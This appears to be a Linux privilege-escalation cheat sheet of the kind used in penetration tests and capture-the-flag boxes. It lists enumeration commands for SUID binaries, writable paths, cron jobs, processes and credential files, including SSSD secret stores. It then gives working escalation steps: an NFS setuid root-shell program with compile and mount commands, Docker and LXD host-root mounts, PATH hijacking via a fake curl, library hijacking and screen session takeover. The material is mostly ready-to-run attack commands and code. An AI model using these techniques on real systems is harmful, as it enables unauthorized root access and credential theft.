Un-truncate Terminal Output#

• Linux: export COLUMNS=1000 or stty cols 1000 (alternatively pipe to less -S)

System & Kernel Information#

• OS Release: cat /etc/issue; cat /etc/*-release
• Kernel Version: uname -r; arch
• CPU Info: lscpu
• Environment Variables: env (Check for high-privilege tokens or paths)
• Kernel Exploits: Compare uname -r uname -a against Kernel Exploits

User & Sudo Privileges#

• Current ID: id
• Sudo Capabilities:
  • sudo -l (List allowed commands) - go for: GTFOBins
  • sudo -i (Enter root shell if allowed)
  • sudo -p (Preserve Privileges)
  • [Added] Check for LD_PRELOAD in sudo -l output.
• Sudo Version: sudo -V
  • Exploit: If version is 1.8.31, use this exploit.
• Policy Kit:
  • dpkg -s policykit-1
  • pkexec --version
  • Exploit: PKWNER

User Enumeration#

• Valid Shells: cat /etc/shells
• Shellshock Check: grep "*sh$" /etc/passwd
• View All Users: cat /etc/passwd
  • Only usernames: cat /etc/passwd | cut -f1 -d:
• Login History: lastlog
• Groups: cat /etc/group
  • Interesting groups: getent group sudo
  • Action: If user is in adm group, check /var/logs (or /var/log).
• UID Conflicts: Check id with ls -ln.
  • Vector: If UID matches an NFS share owner, refer to NFS section.

File Content Search (Recursive)#

Command: grep Search recursively (-r) starting from current directory (.), print line numbers (-n), and ignore case (-i).

1
grep -rni "search_term" .

Finding important files:#

By Extension

1
find / -type f \( -name "*.pdf" -o -name "*.txt" -o -name "*.conf" -o -name "*.bak" \) 2>/dev/null

By Content (Passwords/Keys)

1
grep -rnEi "password|pwd|cred" /home /etc /var/www /opt 2>/dev/null

SUID/SGID & Capabilities#

• Find SUID Binaries:

1
find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null
2
find / -perm -u=s -type f 2>/dev/null
3

4
# IF ANY CUSTOM BINARY IS FOUND, CHECK IT WITH STRINGS.

• Note: Don’t just look at GTFOBins. Search Google for the binary name + “exploit” or “privesc”.
• Find SGID Binaries:

1
find / -perm /6000 -type f 2>/dev/null

• Capabilities: (Check [[capabilities]])

1
find /usr/bin /usr/sbin /usr/local/bin /usr/local/sbin -type f -exec getcap {} \;

Writable Files & Directories#

• Writable Directories:

1
find / -path /proc -prune -o -type d -perm -o+w 2>/dev/null
2
find / -writable -type d 2>/dev/null

• Writable Files:

1
find / -path /proc -prune -o -type f -perm -o+w 2>/dev/null

Configuration & Password Hunting#

• Global Configs:

  • cat /etc/fstab (Check for unmounted drives/credentials)
  • cat /etc/iptables/rules.v4 (Listing 10 in linux privesc)
  • cat .bashrc
  • cat /etc/logrotate.d or similar (Check logrotate.md)

• Find .conf Files:

1
find / -type f \( -name *.conf -o -name *.config \) -exec ls -l {} \; 2>/dev/null

• Find Scripts:

1
find / -type f -name "*.sh" 2>/dev/null | grep -v "src\|snap\|share"
2

3
# WITH ls -la
4
find / -type f -name "*.sh" -not -path "*/src/*" -not -path "*/snap/*" -not -path "*/share/*" -exec ls -la {} + 2>/dev/null

• Hidden Files: (Entire File System)

1
find / -type d -name ".*" -ls 2>/dev/null

• Hidden Directories: (Entire File System)

1
find / -type d -name ".*" 2>/dev/null

• WordPress Config:

1
cat wp-config.php | grep 'DB_USER\|DB_PASSWORD'

• Recursive Grep:

1
grep -Horn <text> <dir>
2
# To print full line: exclude `-o`

Processes#

• List All Processes:
  • ps aux
  • ps fauxww
  • ps -ewwo pid,user,cmd --forest
• Root Processes: ps aux | grep root
• Specific Process Search: ps u -C passwd (View all processes called passwd)
• Password Hunting in Process: watch -n 1 "ps -aux | grep pass"
• Process Snooping (No Sudo): pspy: ./pspy64 -pf -i 1000
• Doas Config:

1
find / -name doas.conf 2>/dev/null

• Strace: Use strace to trace system calls/signals of commands.

Cron Jobs & Timers#

• List Cron:
  • crontab -l (Run with sudo if possible)
  • ls -lah /etc/cron*
• Cron Logs: grep "CRON" /var/log/syslog
• [Added] Systemd Timers: systemctl list-timers --all

Packages & Tooling#

• Check Path: which nc, which python, which python3, which perl, which ruby
• Add Current Path: PATH=.:${PATH}
• List Packages: dpkg -l
• Check Binaries: ls -l /bin /usr/bin/ /usr/sbin/
• Kernel Modules:
  • lsmod
  • Query module info: /sbin/modinfo libata
• GTFOBins Auto-Check:
  1. Create list:

1
apt list --installed | tr "/" " " | cut -d" " -f1,3 | sed 's/[0-9]://g' | tee -a installed_pkgs.list

1
2. Compare against GTFO:

1
for i in $(curl -s https://gtfobins.github.io/ | html2text | cut -d" " -f1 | sed '/^[[:space:]]*$/d');do if grep -q "$i" installed_pkgs.list;then echo "Check GTFO for: $i";fi;done

NFS Escalation#

• Discovery: showmount -e <ip>
• Check Exports: cat /etc/exports
  • Condition: Look for (rw,no_root_squash)
• Exploitation Steps:
  1. Create shell.c:

1
#include <stdio.h>
2
#include <sys/types.h>
3
#include <unistd.h>
4
int main()
5
{
6
  setuid(0);setgid(0);system("/bin/bash");
7
}

1
2. Compile and mount:

1
sudo mount -t nfs <target-ip>:/tmp /mnt
2
gcc shell.c -o shell
3
cp shell /mnt
4
chmod u+s /mnt/shell

1
3. Execute on target: `./shell`

Docker#

Identify:

• Check for .dockerenv in root.

• Check for .dockerenv: Run ls -la /.dockerenv.

• Inspect Cgroups: Run grep 'docker' /proc/1/cgroup.

• Verify MAC Address: Check ip link for the 02:42:ac prefix.

• Analyze PID 1: Run ps -p 1 (look for a non-systemd process).

• Scan Mounts: Run mount | grep -i docker.

• Check Hardware: Run lspci (usually empty in containers).

• Hostname Check: Docker hostnames are often random hex (e.g., efaa6f5097ed) unless -h was used.

• Privileged Escalation:

1
sudo docker exec --privileged --user 0 -it container_name /bin/sh

• Tooling: Use CDK (Refer: Forgotten-vulnlab).

Method 2:

• Check for docker containers with: docker image ls
• Then, docker run -v /:/mnt --rm -it <container_name> chroot /mnt /bin/sh {WORKS BECAUSE DOCKER ALWAYS RUNS AS ROOT}

WSL (Windows Subsystem for Linux)#

• Mount C Drive:

1
mount -t drvfs 'c:' /mnt/c

Active Directory (Linux Integration)#

• Kerberos Config: cat /etc/krb5.conf
• Root Access: If root, use KeyTabExtract.
• SSSD Secrets:

1
strings /var/lib/sss/secrets/secrets.ldb | grep '\$'

• SSSD Cache:

1
strings /var/lib/sss/db/cache_cerberus.local.ldb | grep '\$'

Disks & Peripherals#

• Block Devices: lsblk (Hard disks, USB)
• Partitions: fdisk -l (Check unmounted drives)
• Mounts: mount
• Printers: lpstat

Path Hijacking#

• Identify Relative Calls: Run strings <SUID_binary> or ltrace ./<SUID_binary> 2>&1 | grep execve. Look for commands called without an absolute path (e.g., curl instead of /usr/bin/curl).
• Exploitation:
  1. Create a malicious executable matching the called command name: echo '/bin/bash -p' > /tmp/curl; chmod +x /tmp/curl
  2. Export the new path: export PATH=/tmp:$PATH
  3. Execute the SUID binary.

Library Hijacking#

• Shared Object Injection: Run strace -o strace.out ./<SUID_binary>; grep "No such file" strace.out. Look for missing .so files in writable directories.
• RPATH Exploitation: Run objdump -x <SUID_binary> | grep RPATH. If the RPATH directory is writable, place a malicious .so file there.

LXD / LXC#

• Condition: Current user is in the lxd group (id).
• Exploitation (Requires local Alpine image build or pulling a pre-built one):

1
# On attacking machine:
2
git clone https://github.com/saghul/lxd-alpine-builder.git
3
cd lxd-alpine-builder; ./build-alpine
4
# Transfer the resulting .tar.gz to target
5

6
# On target machine:
7
lxc image import ./alpine-v3.13-x86_64-20210218_0139.tar.gz --alias myimage
8
lxc init myimage ignite -c security.privileged=true
9
lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
10
lxc start ignite
11
lxc exec ignite /bin/sh
12
# The host's root file system is now mounted at /mnt/root

Screen / Tmux Session Hijacking#

• Condition: Root has an active, detached screen or tmux session with lax permissions.
• Exploitation:
  • screen -ls
  • screen -x root/<session_name>

PSPY Enumeration:#

• Upload and use it first. Many boxes Can be solved just by this.
  • timeout 5m ./pspy -i 1000
  • timeout 5m ./pspy64 -p -i 10 | grep -vE "(kworker|kthread|systemd|\[.*\])" | tee pspy_recon.log